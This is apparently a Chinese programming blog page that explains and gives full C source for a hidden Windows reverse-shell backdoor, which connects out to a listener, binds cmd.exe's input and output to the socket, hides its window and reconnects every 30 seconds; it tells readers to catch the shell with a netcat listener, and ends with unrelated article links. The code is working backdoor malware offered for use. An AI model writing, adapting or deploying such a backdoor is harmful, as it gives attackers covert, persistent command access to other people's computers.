WSASocket无管道反向CMD,与无管道正向CMD相反,这种方式是在远程主机上创建一个TCP套接字,并绑定到一个本地地址和端口上。然后在本地主机上,使用WSASocket函数连接到远程主机的套接字,并将标准输入、输出和错误输出重定向到套接字的句柄上。这样,本地主机就可以通过网络连接到远程主机的套接字,发送CMD命令并获取命令输出结果。这种方式称为无管道反向CMD,因为CMD进程的输入输出是通过套接字而非管道进行的。

  1. #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
  2. #include <WinSock2.h>
  3. #include <windows.h>
  4. #pragma comment(lib,"ws2_32")
  5. const CHAR* REMOTE_ADDR = "127.0.0.1";
  6. const DWORD REMOTE_PORT = 9999;
  7. const DWORD MAXSTR = 255;
  8. void StartShell(SOCKET sSock)
  9. {
  10. STARTUPINFO si;
  11. PROCESS_INFORMATION pi;
  12. CHAR cmdline[MAXSTR] = { 0 };
  13. // 绑定输入输出
  14. GetStartupInfo(&si);
  15. si.cb = sizeof(STARTUPINFO);
  16. si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sSock;
  17. si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  18. si.wShowWindow = SW_HIDE;
  19. // 取系统目录并拼接CMD.exe
  20. GetSystemDirectory(cmdline, MAXSTR);
  21. strcat_s(cmdline, MAXSTR, "\\cmd.exe");
  22. // 创建进程
  23. while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
  24. {
  25. Sleep(1000);
  26. }
  27. WaitForSingleObject(pi.hProcess, INFINITE);
  28. CloseHandle(pi.hProcess);
  29. CloseHandle(pi.hThread);
  30. return;
  31. }
  32. int main(int argc, char *argv[])
  33. {
  34. SOCKADDR_IN sin;
  35. WSADATA wsd;
  36. SOCKET sSock;
  37. int cRet;
  38. // 初始化套接字
  39. if (WSAStartup(MAKEWORD(2, 2), &wsd) == SOCKET_ERROR)
  40. {
  41. return 0;
  42. }
  43. while (1)
  44. {
  45. // 绑定异步套接字
  46. if ((sSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET)
  47. {
  48. return 0;
  49. }
  50. // 设置端口信息等
  51. sin.sin_family = AF_INET;
  52. sin.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);
  53. sin.sin_port = htons(REMOTE_PORT);
  54. do
  55. {
  56. // 连接到远程主机
  57. cRet = connect(sSock, (sockaddr*)&sin, sizeof(sin));
  58. } while (cRet == SOCKET_ERROR);
  59. // 启动CMD后门
  60. StartShell(sSock);
  61. closesocket(sSock);
  62. Sleep(30000);
  63. }
  64. WSACleanup();
  65. return 0;
  66. }

编译并运行上述程序,读者可自行打开netcat工具,并执行nc -l -p 9999开启本机侦听端口,此时后门程序会每隔30000毫秒自动连接一次服务端,当连接成功后则自动执行StartShell函数创建一个反弹后门,输出效果图如下所示;

17.3 实现无管道反向CMD的更多相关文章

  1. 匿名管道读取CMD回显信息

    之前用了很坑爹的做法去读取了cmd命令的回显信息,现在发现了用匿名管道的实现方法,由于楼主没有学过Windows核心编程,找了一个代码来凑数 存下来以后研究 #include <windows. ...

  2. 匿名管道 远程cmd

    管道是单向的,传送数据的方向是固定的,所以互相通信需要两个管道. STARTUPINFO si; ZeroMemory(&si,sizeof(si)); si.dwFlags = STARTF ...

  3. 通过匿名管道获取CMD运行结果

    #include <iostream> #include <string> #include <Windows.h> using namespace std; /* ...

  4. (17) go 协程管道

    一.协程 二.管道

  5. 42.管道,cmd执行指令写到管道中

    #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> #include <stri ...

  6. CMD命令行管道命令

    一.什么是管道命令 管道命令能够将一个命令的执行结果经过筛选,只保留我们需要的信息. 如 dir 命令会显示目录下所有文件夹和文件,可以使用管道命令| findstr "" 将di ...

  7. CMD管道命令使用

    Windows netstat 查看端口.进程占用 开始--运行--cmd 进入命令提示符 输入netstat -ano 即可看到所有连接的PID 之后在任务管理器中找到这个PID所对应的程序如果任务 ...

  8. Django之反向生成url

    首先新建一个项目test_url,项目包含一个名为app01的应用 在urls.py文件中生成如下内容 from django.conf.urls import url from django.sho ...

  9. docker配置nginx做反向代理管理tomcat应用

    由于业务开始复杂,单一tomcat已经不足以满足业务需求,多tomcat部署起来不方便而且面临域名解析问题,因此开始增加反向代理,由于docker的易用性,便使用docker管理各个应用. docke ...

  10. 解决Window安全中心对Kitematic-0.17.3-Ubuntu.zip提示病毒,但无法删除的问题。

    Trojan:JS/Tisifi.B 类型:特洛伊木马 containerfile: C:\Users\Administrator\Desktop\Kitematic-0.17.3-Ubuntu.zi ...

随机推荐

  1. 万物皆可秒——淘宝秒杀Python脚本,扫货618,备战双11!

    更多精彩内容,欢迎关注公众号:数量技术宅,也可添加技术宅个人微信号:sljsz01,与我交流. 总是抢不到想要的宝贝?试试Python脚本 对于淘宝.天猫,相信大家已经无比的熟悉,在每年的双十一.双十 ...

  2. ChatGpt windows+mac os+linux三平台桌面版下载

    1 前言 ChatGPT这段时间还是挺火的,有不了解的小伙伴可以看看这篇ChatGPT为何打响AI新时代的礼炮,一路火花带闪电[1],能简单的了解: 什么是ChatGPT ChatGPT为什么这么火 ...

  3. IDC《中国边缘云市场解读 (2022)》:阿里云蝉联中国公有云市场第一

    国际权威咨询公司IDC发布<中国边缘云市场解读(2022 )>报告,中国边缘公有云服务市场,阿里云蝉联第一. 市场蝉联第一,"边缘"生长强劲 近期,全球领先的IT市场研 ...

  4. JSP 学习笔记 | 二、JSP 脚本 & 案例实现 & 缺点分析

    前文:JSP 学习笔记 | 一.JSP 原理理解 JSP脚本用于在 JSP页面内定义 Java代码.很多入门案例中我们就在 JSP 页面定义的 Java 代码就是 JSP 脚本. JSP 脚本分类 J ...

  5. CSS : 使用 z-index 的前提

    使用 z-index 前  , 需要将元素 定位设置为  position : relative .

  6. [转帖]WinXP添加TLS1.1、TLS1.2支持

    现象 HTTPS服务在Win7及Win10能够正常打开,但是在XP下用IE浏览器却无法打开,XP下用第三方浏览器(我试了谷歌浏览器)却能正常打开.经过抓包分析,用IE浏览器是协商用的是TLS1而用第三 ...

  7. 汉字在unicode的编码情况-From http://yedict.com/zsts.htm

    字符集内容 字数 unicode编码 字符显示说明(除非安装更大字库) 基本区  分页:  一 二 三 四 共20902字 4E00-9FA5 电脑和手机都能显示 基本区补充 共90字 9FA6-9F ...

  8. [转帖]nginx配置文件中对于if条件语句的写法(附nginx跨域文件配置)

    前言 在nginx配置文件中,可以使用if语句,但是对于else语句其实是不支持的,并且and条件和or条件也是不支持的 实现 else条件的写法 新建一个开关变量flag,初始值为0,如果为1说明进 ...

  9. SQLServer数据库优化学习-总结

    SQLServer数据库优化学习-总结 背景 各种能力都需要提升. 最近总是遇到SQLServer的问题 趁着周末进行一下学习与提高. 安装与优化 1. 数据库必须安装 64位, 不要安装成32位的版 ...

  10. [转帖]tidb 修改root密码

    http://blog.51yip.com/tidb/2452.html   通过 {pd-ip}:{pd-port}/dashboard 登录 TiDB Dashboard,登录用户和口令为 TiD ...